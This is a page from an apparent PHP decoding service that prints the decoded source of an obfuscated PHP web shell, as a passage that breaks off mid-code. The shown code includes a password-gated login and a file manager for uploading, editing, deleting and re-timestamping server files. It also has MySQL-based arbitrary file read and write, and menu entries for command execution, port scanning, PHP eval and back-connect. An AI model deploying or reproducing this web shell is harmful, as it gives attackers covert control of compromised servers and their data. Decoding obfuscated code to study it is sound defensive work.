Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDcpOwpAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApOwpvYl..
Decoded Output download
error_reporting(7);
@set_magic_quotes_runtime(0);
ob_start();
$mtime = explode(' ', microtime());
$starttime = $mtime[1] + $mtime[0];
define('SA_ROOT', str_replace('\', '/', dirname(__FILE__)).'/');
define('IS_WIN', DIRECTORY_SEPARATOR == '\');
define('IS_COM', class_exists('COM') ? 1 : 0 );
define('IS_GPC', get_magic_quotes_gpc());
$dis_func = get_cfg_var('disable_functions');
define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
@set_time_limit(0);
foreach($_POST as $key => $value) {
if (IS_GPC) {
$value = s_array($value);
}
$$key = $value;
}
/*===================== ?? =====================*/
//echo encode_pass('angel');exit;
//angel = 9470e3dc8fb6c40b268a1dd6e6464ef4
// ????,?\?????,???
$pass = '9f9e7a78ddfe67cee76fd2ecff97464e'; //angel
//??? cookie [??, ?????, ?\????, ??????
// cookie ?
$cookiepre = '';
// cookie [
$cookiedomain = '';
// cookie [??
$cookiepath = '/';
// cookie ?
$cookielife = 86400;
//?z?s???
!$writabledb && $writabledb = 'php,cgi,pl,asp,inc,js,html,htm,jsp';
/*===================== ??O =====================*/
$charsetdb = array('','armscii8','ascii','big5','binary','cp1250','cp1251','cp1256','cp1257','cp850','cp852','cp866','cp932','dec8','euc-jp','euc-kr','gb2312','gbk','geostd8','greek','hebrew','hp8','keybcs2','koi8r','koi8u','latin1','latin2','latin5','latin7','macce','macroman','sjis','swe7','tis620','ucs2','ujis','utf8');
if ($charset == 'utf8') {
header("content-Type: text/html; charset=utf-8");
} elseif ($charset == 'big5') {
header("content-Type: text/html; charset=big5");
} elseif ($charset == 'gbk') {
header("content-Type: text/html; charset=gbk");
} elseif ($charset == 'latin1') {
header("content-Type: text/html; charset=iso-8859-2");
} elseif ($charset == 'euc-kr') {
header("content-Type: text/html; charset=euc-kr");
} elseif ($charset == 'euc-jp') {
header("content-Type: text/html; charset=euc-jp");
}
$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
$timestamp = time();
/*===================== ? =====================*/
if ($action == "logout") {
scookie('loginpass', '', -86400 * 365);
@header('Location: '.$self);
exit;
}
if($pass) {
if ($action == 'login') {
if ($pass == encode_pass($password)) {
scookie('loginpass',encode_pass($password));
@header('Location: '.$self);
exit;
}
}
if ($_COOKIE['loginpass']) {
if ($_COOKIE['loginpass'] != $pass) {
loginpage();
}
} else {
loginpage();
}
}
/*===================== ?O =====================*/
$errmsg = '';
!$action && $action = 'file';
// ??PHPINFO
if ($action == 'phpinfo') {
if (IS_PHPINFO) {
phpinfo();
exit;
} else {
$errmsg = 'phpinfo() function has non-permissible';
}
}
// ?
if ($doing == 'downfile' && $thefile) {
if (!@file_exists($thefile)) {
$errmsg = 'The file you want Downloadable was nonexistent';
} else {
$fileinfo = pathinfo($thefile);
header('Content-type: application/x-'.$fileinfo['extension']);
header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
header('Content-Length: '.filesize($thefile));
@readfile($thefile);
exit;
}
}
// ???b??
if ($doing == 'backupmysql' && !$saveasfile) {
if (!$table) {
$errmsg ='Please choose the table';
} else {
$mysqllink = mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
$filename = basename($dbname.'.sql');
header('Content-type: application/unknown');
header('Content-Disposition: attachment; filename='.$filename);
foreach($table as $k => $v) {
if ($v) {
sqldumptable($v);
}
}
mysql_close();
exit;
}
}
// M?MYSQL?
if($doing=='mysqldown'){
if (!$dbname) {
$errmsg = 'Please input dbname';
} else {
$mysqllink = mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
if (!file_exists($mysqldlfile)) {
$errmsg = 'The file you want Downloadable was nonexistent';
} else {
$result = q("select load_file('$mysqldlfile');");
if(!$result){
q("DROP TABLE IF EXISTS tmp_angel;");
q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
//??????,????????__angel_1111111111_eof__???z???
q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
$result = q("select content from tmp_angel");
q("DROP TABLE tmp_angel");
}
$row = @mysql_fetch_array($result);
if (!$row) {
$errmsg = 'Load file failed '.mysql_error();
} else {
$fileinfo = pathinfo($mysqldlfile);
header('Content-type: application/x-'.$fileinfo['extension']);
header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
header("Accept-Length: ".strlen($row[0]));
echo $row[0];
exit;
}
}
}
}
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=euc-kr">
<title><?php echo $action.' - '.$_SERVER['HTTP_HOST'];?></title>
<style type="text/css">
body,td{font: 12px Arial,Tahoma;line-height: 16px;}
.input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}
.area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
.bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}
a {color: #00f;text-decoration:underline;}
a:hover{color: #f00;text-decoration:none;}
.alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 15px 5px 5px;}
.alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 15px 5px 5px;}
.focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 15px 5px 5px;}
.head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 15px 5px 5px;font-weight:bold;}
.head td span{font-weight:normal;}
.infolist {padding:10px;margin:10px 0 20px 0;background:#F1F1F1;border:1px solid #ddd;}
form{margin:0;padding:0;}
h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
.drives{padding:5px;}
.drives span {margin:auto 7px;}
</style>
<script type="text/javascript">
function CheckAll(form) {
for(var i=0;i<form.elements.length;i++) {
var e = form.elements[i];
if (e.name != 'chkall')
e.checked = form.chkall.checked;
}
}
function $(id) {
return document.getElementById(id);
}
function createdir(){
var newdirname;
newdirname = prompt('Please input the directory name:', '');
if (!newdirname) return;
$('createdir').newdirname.value=newdirname;
$('createdir').submit();
}
function fileperm(pfile){
var newperm;
newperm = prompt('Current file:'+pfile+'
Please input new attribute:', '');
if (!newperm) return;
$('fileperm').newperm.value=newperm;
$('fileperm').pfile.value=pfile;
$('fileperm').submit();
}
function copyfile(sname){
var tofile;
tofile = prompt('Original file:'+sname+'
Please input object file (fullpath):', '');
if (!tofile) return;
$('copyfile').tofile.value=tofile;
$('copyfile').sname.value=sname;
$('copyfile').submit();
}
function rename(oldname){
var newfilename;
newfilename = prompt('Former file name:'+oldname+'
Please input new filename:', '');
if (!newfilename) return;
$('rename').newfilename.value=newfilename;
$('rename').oldname.value=oldname;
$('rename').submit();
}
function dofile(doing,thefile,m){
if (m && !confirm(m)) {
return;
}
$('filelist').doing.value=doing;
if (thefile){
$('filelist').thefile.value=thefile;
}
$('filelist').submit();
}
function createfile(nowpath){
var filename;
filename = prompt('Please input the file name:', '');
if (!filename) return;
opfile('editfile',nowpath + filename,nowpath);
}
function opfile(action,opfile,dir){
$('fileopform').action.value=action;
$('fileopform').opfile.value=opfile;
$('fileopform').dir.value=dir;
$('fileopform').submit();
}
function godir(dir,view_writable){
if (view_writable) {
$('godir').view_writable.value=view_writable;
}
$('godir').dir.value=dir;
$('godir').submit();
}
function getsize(getdir,dir){
$('getsize').getdir.value=getdir;
$('getsize').dir.value=dir;
$('getsize').submit();
}
function editrecord(action, base64, tablename){
if (action == 'del') {
if (!confirm('Is or isn\'t deletion record?')) return;
}
$('recordlist').doing.value=action;
$('recordlist').base64.value=base64;
$('recordlist').tablename.value=tablename;
$('recordlist').submit();
}
function moddbname(dbname) {
if(!dbname) return;
$('setdbname').dbname.value=dbname;
$('setdbname').submit();
}
function settable(tablename,doing,page) {
if(!tablename) return;
if (doing) {
$('settable').doing.value=doing;
}
if (page) {
$('settable').page.value=page;
}
$('settable').tablename.value=tablename;
$('settable').submit();
}
function s(action,nowpath,p1,p2,p3,p4,p5) {
if(action) $('opform').action.value=action;
if(nowpath) $('opform').nowpath.value=nowpath;
if(p1) $('opform').p1.value=p1;
if(p2) $('opform').p2.value=p2;
if(p3) $('opform').p3.value=p3;
if(p4) $('opform').p4.value=p4;
if(p5) $('opform').p4.value=p5;
}
function g(action,nowpath,p1,p2,p3,p4,p5) {
if(!action) return;
s(action,nowpath,p1,p2,p3,p4,p5);
$('opform').submit();
}
</script>
</head>
<body style="margin:0;table-layout:fixed; word-break:break-all">
<?php
formhead(array('name'=>'opform'));
makehide('action', $action);
makehide('nowpath', $nowpath);
makehide('p1', $p1);
makehide('p2', $p2);
makehide('p3', $p3);
makehide('p4', $p4);
makehide('p5', $p5);
formfoot();
if(!function_exists('posix_getegid')) {
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = "?";
} else {
$uid = @posix_getpwuid(@posix_geteuid());
$gid = @posix_getgrgid(@posix_getegid());
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}
?>
<table width="100%" border="0" cellpadding="0" cellspacing="0">
<tr class="head">
<td><span style="float:right;"><?php echo @php_uname();?> / User:<?php echo $uid.' ( '.$user.' ) / Group: '.$gid.' ( '.$group.' )';?></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>
</tr>
<tr class="alt1">
<td>
<span style="float:right;">PHP <?php echo PHP_VERSION;?> / Safe Mode:<?php echo getcfg('safe_mode');?></span>
<a href="javascript:g('logout');">Logout</a> |
<a href="javascript:g('file');">File Manager</a> |
<a href="javascript:g('mysqladmin');">MYSQL Manager</a> |
<a href="javascript:g('sqlfile');">MySQL Upload & Download</a> |
<a href="javascript:g('shell');">Execute Command</a> |
<a href="javascript:g('phpenv');">PHP Variable</a> |
<a href="javascript:g('portscan');">Port Scan</a> |
<a href="javascript:g('secinfo');">Security information</a> |
<a href="javascript:g('eval');">Eval PHP Code</a>
<?php if (!IS_WIN) {?> | <a href="javascript:g('backconnect');">Back Connect</a><?php }?>
</td>
</tr>
</table>
<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
<?php
$errmsg && m($errmsg);
// ??????
if (!$dir) {
$dir = $_SERVER["DOCUMENT_ROOT"] ? $_SERVER["DOCUMENT_ROOT"] : '.';
}
$nowpath = getPath(SA_ROOT, $dir);
if (substr($dir, -1) != '/') {
$dir = $dir.'/';
}
if ($action == 'file') {
// ???s??
$dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
// ????
if ($newdirname) {
$mkdirs = $nowpath.$newdirname;
if (file_exists($mkdirs)) {
m('Directory has already existed');
} else {
m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
@chmod($mkdirs,0777);
}
}
// ??
elseif ($doupfile) {
m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
}
// ???
elseif ($editfilename && $filecontent) {
$fp = @fopen($editfilename,'w');
m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
@fclose($fp);
}
// ???T
elseif ($pfile && $newperm) {
if (!file_exists($pfile)) {
m('The original file does not exist');
} else {
$newperm = base_convert($newperm,8,10);
m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
}
}
// ??
elseif ($oldname && $newfilename) {
$nname = $nowpath.$newfilename;
if (file_exists($nname) || !file_exists($oldname)) {
m($nname.' has already existed or original file does not exist');
} else {
m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
}
}
// ?g?
elseif ($sname && $tofile) {
if (file_exists($tofile) || !file_exists($sname)) {
m('The goal file has already existed or original file does not exist');
} else {
m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
}
}
// ???
elseif ($curfile && $tarfile) {
if (!@file_exists($curfile) || !@file_exists($tarfile)) {
m('The goal file has already existed or original file does not exist');
} else {
$time = @filemtime($tarfile);
m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
}
}
// ??
elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
if (!@file_exists($curfile)) {
m(basename($curfile).' does not exist');
} else {
$time = strtotime("$year-$month-$day $hour:$minute:$second");
m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
}
}
// ????
elseif($doing == 'delfiles') {
if ($dl) {
$dfiles='';
$succ = $fail = 0;
foreach ($dl as $filepath) {
if (is_dir($filepath)) {
if (@deltree($filepath)) {
$succ++;
} else {
$fail++;
}
} else {
if (@unlink($filepath)) {
$succ++;
} else {
$fail++;
}
}
}
m('Deleted folder/file have finished,choose '.count($dl).' success '.$succ.' fail '.$fail);
} else {
m('Please select folder/file(s)');
}
}
//?[?
formhead(array('name'=>'createdir'));
makehide('newdirname');
makehide('dir',$nowpath);
formfoot();
formhead(array('name'=>'fileperm'));
makehide('newperm');
makehide('pfile');
makehide('dir',$nowpath);
formfoot();
formhead(array('name'=>'copyfile'));
makehide('sname');
makehide('tofile');
makehide('dir',$nowpath);
formfoot();
formhead(array('name'=>'rename'));
makehide('oldname');
makehide('newfilename');
makehide('dir',$nowpath);
formfoot();
formhead(array('name'=>'fileopform', 'target'=>'_blank'));
makehide('action');
makehide('opfile');
makehide('dir');
formfoot();
formhead(array('name'=>'getsize'));
makehide('getdir');
makehide('dir');
formfoot();
$free = @disk_free_space($nowpath);
!$free && $free = 0;
$all = @disk_total_space($nowpath);
!$all && $all = 0;
$used = $all-$free;
p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.@round(100/($all/$free),2).'%)</h2>');
$cwd_links = '';
$path = explode('/', $nowpath);
$n=count($path);
for($i=0;$i<$n-1;$i++) {
$cwd_links .= '<a href="javascript:godir(\'';
for($j=0;$j<=$i;$j++) {
$cwd_links .= $path[$j].'/';
}
$cwd_links .= '\');">'.$path[$i].'/</a>';
}
?>
<script type="text/javascript">
document.onclick = shownav;
function shownav(e){
var src = e?e.target:event.srcElement;
do{
if(src.id =="jumpto") {
$('inputnav').style.display = "";
$('pathnav').style.display = "none";
//hidenav();
return;
}
if(src.id =="inputnav") {
return;
}
src = src.parentNode;
}while(src.parentNode)
$('inputnav').style.display = "none";
$('pathnav').style.display = "";
}
</script>
<div style="background:#eee;margin-bottom:10px;">
<table id="pathnav" width="100%" border="0" cellpadding="5" cellspacing="0">
<tr>
<td width="100%"><?php echo $cwd_links.' - '.getChmod($nowpath).' / '.getPerms($nowpath).getUser($nowpath);?> (<?php echo $dir_writeable;?>)</td>
<td nowrap><input class="bt" id="jumpto" name="jumpto" value="Jump to" type="button"></td>
</tr>
</table>
<table id="inputnav" width="100%" border="0" cellpadding="5" cellspacing="0" style="display:none;">
<form action="" method="post" id="godir" name="godir">
<tr>
<td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
<td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:99%;margin:0 8px;"></td>
<td nowrap><input class="bt" value="GO" type="submit"></td>
</tr>
</form>
</table>
<?php
if (IS_WIN && IS_COM) {
$obj = new COM('scripting.filesystemobject');
if ($obj && is_object($obj) && $obj->Drives) {
echo '<div class="drives">';
$DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
$comma = '';
foreach($obj->Drives as $drive) {
if ($drive->Path) {
p($comma.'<a href="javascript:godir(\''.$drive->Path.'/\');">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
$comma = '<span>|</span>';
}
}
echo '</div>';
}
}
?>
</div>
<?php
$findstr = $_POST['findstr'];
$re = $_POST['re'];
tbhead();
p('<tr class="alt1"><td colspan="7" style="padding:5px;line-height:20px;">');
p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$nowpath.'" type="hidden" /><input name="dir" value="'.$nowpath.'" type="hidden" /></div></form>');
p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
p(' | <a href="javascript:godir(\'.\');">ScriptPath</a>');
p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
p(' | View Writable ( <a href="javascript:godir(\''.$nowpath.'\',\'dir\');">Directory</a>');
p(' | <a href="javascript:godir(\''.$nowpath.'\',\'file\');">File</a> )');
p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
p('<div style="padding:5px 0;"><form action="'.$self.'" method="POST">Find string in files(current folder): <input class="input" name="findstr" value="'.$findstr.'" type="text" /> <input class="bt" value="Find" type="submit" /> Type: <input class="input" name="writabledb" value="'.$writabledb.'" type="text" /><input name="dir" value="'.$dir.'" type="hidden" /> <input name="re" value="1" type="checkbox" '.($re ? 'checked' : '').' /> Regular expressions</form></div></td></tr>');
p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
//???s????
$dirdata=array();
$filedata=array();
if ($view_writable == 'dir') {
$dirdata = GetWDirList($nowpath);
$filedata = array();
} elseif ($view_writable == 'file') {
$dirdata = array();
$filedata = GetWFileList($nowpath);
} elseif ($findstr) {
$dirdata = array();
$filedata = GetSFileList($nowpath, $findstr, $re);
} else {
// ????
//scandir()???
$dirs=@opendir($dir);
while ($file=@readdir($dirs)) {
$filepath=$nowpath.$file;
if(@is_dir($filepath)){
$dirdb['filename']=$file;
$dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
$dirdb['dirchmod']=getChmod($filepath);
$dirdb['dirperm']=getPerms($filepath);
$dirdb['fileowner']=getUser($filepath);
$dirdb['dirlink']=$nowpath;
$dirdb['server_link']=$filepath;
$dirdata[]=$dirdb;
} else {
$filedb['filename']=$file;
$filedb['size']=sizecount(@filesize($filepath));
$filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
$filedb['filechmod']=getChmod($filepath);
$filedb['fileperm']=getPerms($filepath);
$filedb['fileowner']=getUser($filepath);
$filedb['dirlink']=$nowpath;
$filedb['server_link']=$filepath;
$filedata[]=$filedb;
}
}// while
unset($dirdb);
unset($filedb);
@closedir($dirs);
}
@sort($dirdata);
@sort($filedata);
$dir_i = '0';
p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
makehide('action','file');
makehide('thefile');
makehide('doing');
makehide('dir',$nowpath);
foreach($dirdata as $key => $dirdb){
if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
if($getdir && $getdir == $dirdb['server_link']) {
$attachsize = dirsize($dirdb['server_link']);
$attachsize = is_numeric($attachsize) ? sizecount($attachsize) : 'Unknown';
} else {
$attachsize = '<a href="javascript:getsize(\''.$dirdb['server_link'].'\',\''.$dir.'\');">Stat</a>';
}
$thisbg = bg();
p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
p('<td width="2%" nowrap><input name="dl[]" type="checkbox" value="'.$dirdb['server_link'].'"></td>');
p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
p('<td nowrap><a href="javascript:opfile(\'newtime\',\''.$dirdb['server_link'].'\',\''.$dirdb['dirlink'].'\');">'.$dirdb['mtime'].'</a></td>');
p('<td nowrap>'.$attachsize.'</td>');
p('<td nowrap>');
p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
p('<td nowrap><a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
p('</tr>');
$dir_i++;
} else {
if($dirdb['filename']=='..') {
p('<tr class='.bg().'>');
p('<td align="center">-</td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
p('</tr>');
}
}
}
p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');
$file_i = '0';
foreach($filedata as $key => $filedb){
if($filedb['filename']!='..' && $filedb['filename']!='.') {
$fileurl = str_replace($_SERVER["DOCUMENT_ROOT"],'',$filedb['server_link']);
$thisbg = bg();
p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
p('<td width="2%" nowrap><input name="dl[]" type="checkbox" value="'.$filedb['server_link'].'"></td>');
p('<td>'.((strpos($filedb['server_link'], $_SERVER["DOCUMENT_ROOT"]) !== false) ? '<a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a>' : $filedb['filename']).'</td>');
p('<td nowrap><a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">'.$filedb['mtime'].'</a></td>');
p('<td nowrap>'.$filedb['size'].'</td>');
p('<td nowrap>');
p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
p('<td nowrap>');
p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a>');
p('</td></tr>');
$file_i++;
}
}
p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td colspan="4"><a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
p('</form></table>');
}// end dir
elseif ($action == 'sqlfile') {
if($doing=="mysqlupload"){
$file = $_FILES['uploadfile'];
$filename = $file['tmp_name'];
if (file_exists($savepath)) {
m('The goal file has already existed');
} else {
if(!$filename) {
m('Please choose a file');
} else {
$fp=@fopen($filename,'r');
$contents=@fread($fp, filesize($filename));
@fclose($fp);
$contents = bin2hex($contents);
if(!$upname) $upname = $file['name'];
$mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
$result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
}
}
}
?>
<script type="text/javascript">
function mysqlfile(doing){
if(!doing) return;
$('doing').value=doing;
$('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
$('mysqlfile').dbport.value=$('dbinfo').dbport.value;
$('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
$('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
$('mysqlfile').dbname.value=$('dbinfo').dbname.value;
$('mysqlfile').charset.value=$('dbinfo').charset.value;
$('mysqlfile').submit();
}
</script>
<?php
!$dbhost && $dbhost = 'localhost';
!$dbuser && $dbuser = 'root';
!$dbport && $dbport = '3306';
formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
makehide('action','sqlfile');
p('<p>');
p('DBHost:');
makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
p(':');
makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
p('DBUser:');
makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
p('DBPass:');
makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
p('DBName:');
makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
p('DBCharset:');
makeselect(array('name'=>'charset','option'=>$charsetdb,'selected'=>$charset,'nokey'=>1));
p('</p>');
formfoot();
p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
p('<h2>Upload file</h2>');
p('<p><b>This operation the DB user must has FILE privilege</b></p>');
p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
p('<h2>Download file</h2>');
p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
makehide('dbhost');
makehide('dbport');
makehide('dbuser');
makehide('dbpass');
makehide('dbname');
makehide('charset');
makehide('doing');
makehide('action','sqlfile');
p('</form>');
}
elseif ($action == 'mysqladmin') {
!$dbhost && $dbhost = 'localhost';
!$dbuser && $dbuser = 'root';
!$dbport && $dbport = '3306';
$dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
if(isset($dbhost)){
$dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />
";
}
if(isset($dbuser)) {
$dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />
";
}
if(isset($dbpass)) {
$dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />
";
}
if(isset($dbport)) {
$dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />
";
}
if(isset($dbname)) {
$dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />
";
}
if(isset($charset)) {
$dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />
";
}
if ($doing == 'backupmysql' && $saveasfile) {
if (!$table) {
m('Please choose the table');
} else {
$mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
$fp = @fopen($path,'w');
if ($fp) {
foreach($table as $k => $v) {
if ($v) {
sqldumptable($v, $fp);
}
}
fclose($fp);
$fileurl = str_replace(SA_ROOT,'',$path);
m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
mysql_close();
} else {
m('Backup failed');
}
}
}
if ($insert && $insertsql) {
$keystr = $valstr = $tmp = '';
foreach($insertsql as $key => $val) {
if ($val) {
$keystr .= $tmp.$key;
$valstr .= $tmp."'".addslashes($val)."'";
$tmp = ',';
}
}
if ($keystr && $valstr) {
$mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
}
}
if ($update && $insertsql && $base64) {
$valstr = $tmp = '';
foreach($insertsql as $key => $val) {
$valstr .= $tmp.$key."='".addslashes($val)."'";
$tmp = ',';
}
if ($valstr) {
$where = base64_decode($base64);
$mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
}
}
if ($doing == 'del' && $base64) {
$where = base64_decode($base64);
$delete_sql = "DELETE FROM $tablename WHERE $where";
$mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
}
if ($tablename && $doing == 'drop') {
$mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
if (q("DROP TABLE $tablename")) {
m('Drop table of success');
$tablename = '';
} else {
m(mysql_error());
}
}
formhead(array('title'=>'MYSQL Manager'));
makehide('action','mysqladmin');
p('<p>');
p('DBHost:');
makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
p(':');
makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
p('DBUser:');
makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
p('DBPass:');
makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
p('DBCharset:');
makeselect(array('name'=>'charset','option'=>$charsetdb,'selected'=>$charset,'nokey'=>1));
makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
p('</p>');
formfoot();
//?[??
formhead(array('name'=>'recordlist'));
makehide('doing');
makehide('action','mysqladmin');
makehide('base64');
makehide('tablename');
p($dbform);
formfoot();
//O?b??
formhead(array('name'=>'setdbname'));
makehide('action','mysqladmin');
p($dbform);
if (!$dbname) {
makehide('dbname');
}
formfoot();
//O??
formhead(array('name'=>'settable'));
makehide('action','mysqladmin');
p($dbform);
makehide('tablename');
makehide('page',$page);
makehide('doing');
formfoot();
$cachetables = array();
$pagenum = 30;
$page = intval($page);
if($page) {
$start_limit = ($page - 1) * $pagenum;
